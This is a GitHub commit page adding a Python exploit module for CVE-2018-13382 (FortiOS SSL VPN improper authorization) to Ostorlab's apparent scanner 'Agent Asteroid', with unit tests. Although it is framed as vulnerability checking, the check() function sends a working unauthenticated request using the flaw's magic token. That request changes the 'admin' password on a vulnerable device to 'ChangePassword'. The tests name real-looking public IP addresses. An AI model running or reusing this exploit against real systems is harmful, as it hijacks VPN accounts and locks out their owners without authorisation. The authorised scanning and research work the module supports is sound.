Skip to content

Commit

Permalink
Merge pull request #13 from Ostorlab/exploit/cve_2018_13382
Browse files Browse the repository at this point in the history
Exploit/implement exploit CVE-2018-13382 for Fortigate SSL VPN
  • Loading branch information
3asm authored Nov 24, 2023
2 parents e81dca4 + a056493 commit 34288df
Show file tree
Hide file tree
Showing 2 changed files with 152 additions and 0 deletions.
102 changes: 102 additions & 0 deletions agent/exploits/cve_2018_13382.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
"""Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target."""
import requests
from urllib3 import exceptions
from urllib3 import disable_warnings
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from ostorlab.agent.kb import kb

from agent import definitions
from agent import exploits_registry

disable_warnings(exceptions.InsecureRequestWarning)

DEFAULT_TIMEOUT = 90
HEADERS = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}


@exploits_registry.register
class CVE201813382Exploit(definitions.Exploit):
"""
CVE-2018-13382 : An Improper Authorization vulnerability in Fortinet FortiOS.
"""

def accept(self, target: definitions.Target) -> bool:
try:
url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
r = requests.get(
url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT
)
except requests.exceptions.RequestException:
return False
return r.status_code == 200 and "<title>Please Login</title>" in r.text

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
# we are trying to change the password for the user : admin
data = {
"ajax": "1",
"username": "admin",
"realm": "",
"credential": "YouAreVulnerable",
"magic": "4tinet2095866",
"reqid": "0",
"credential2": "ChangePassword",
}
try:
res = requests.post(
url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT
)
except requests.exceptions.RequestException:
return []

if res.status_code == 200 and "redir=/remote/hostcheck_install" in res.text:
vulnerability = self._create_vulnerability(target)
return [vulnerability]
else:
return []

def _create_vulnerability(
self, target: definitions.Target
) -> definitions.Vulnerability:
entry = kb.Entry(
title="An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382",
risk_rating="CRITICAL",
short_description="An Improper Authorization vulnerability in the SSL VPN web portal may allow an "
"unauthenticated attacker to change the password of an SSL VPN web portal user .",
description="An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 "
"to 5.6.8 and 5.4.1 to 5.4.10 under SSL VPN web portal "
"allows an unauthenticated attacker to modify the password of an SSL VPN web portal user "
"via specially crafted HTTP requests.",
references={
"Fortiguard advisory": "https://fortiguard.com/advisory/FG-IR-18-389",
"Blog": "https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html",
},
recommendation="""
Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above. Mitigation: SSL VPN users with local
authentication can mitigate the impact by enabling Two-Factor Authentication (2FA): If their
password is changed by an attacker leveraging this vulnerability, the attacker will not be able to
log in and use their SSL VPN account.
""",
security_issue=True,
privacy_issue=False,
has_public_exploit=True,
targeted_by_malware=True,
targeted_by_ransomware=True,
targeted_by_nation_state=True,
)
technical_detail = (
f"{target.scheme}://{target.host}:{target.port} is vulnerable to CVE-2018-13382 : the admin user's"
f" password being changed to `ChangePassword`."
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL,
)
return vulnerability
50 changes: 50 additions & 0 deletions tests/exploits/cve_2018_13382_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
"""Unit tests for Agent Asteroid: CVE-2018-13382"""
import requests_mock as req_mock

from agent import definitions
from agent.exploits import cve_2018_13382


def testCVE201813382_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Ensure that the exploit reports findings when the application is vulnerable."""
exploit_instance = cve_2018_13382.CVE201813382Exploit()
url = "https://109.239.246.106:10443/remote/login?lang=en"
requests_mock.post(
url,
text="redir=/remote/hostcheck_install",
status_code=200,
)
target = definitions.Target("https", "109.239.246.106", 10443)

vulnerabilities = exploit_instance.check(target)

vulnerability = vulnerabilities[0]
assert (
vulnerability.entry.title
== "An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382"
)
assert (
vulnerability.technical_detail
== "https://109.239.246.106:10443 is vulnerable to CVE-2018-13382 : "
"the admin user's password being changed to `ChangePassword`."
)


def testCVE201813382_whenNotVulnerable_noFindingsReported(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Ensure that there is no findings when the application is not vulnerable."""
exploit_instance = cve_2018_13382.CVE201813382Exploit()
url = "https://139.255.255.218:10443/remote/login?lang=en"
requests_mock.post(
url,
text="",
status_code=200,
)
target = definitions.Target("https", "139.255.255.218", 10443)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0

0 comments on commit 34288df

Please sign in to comment.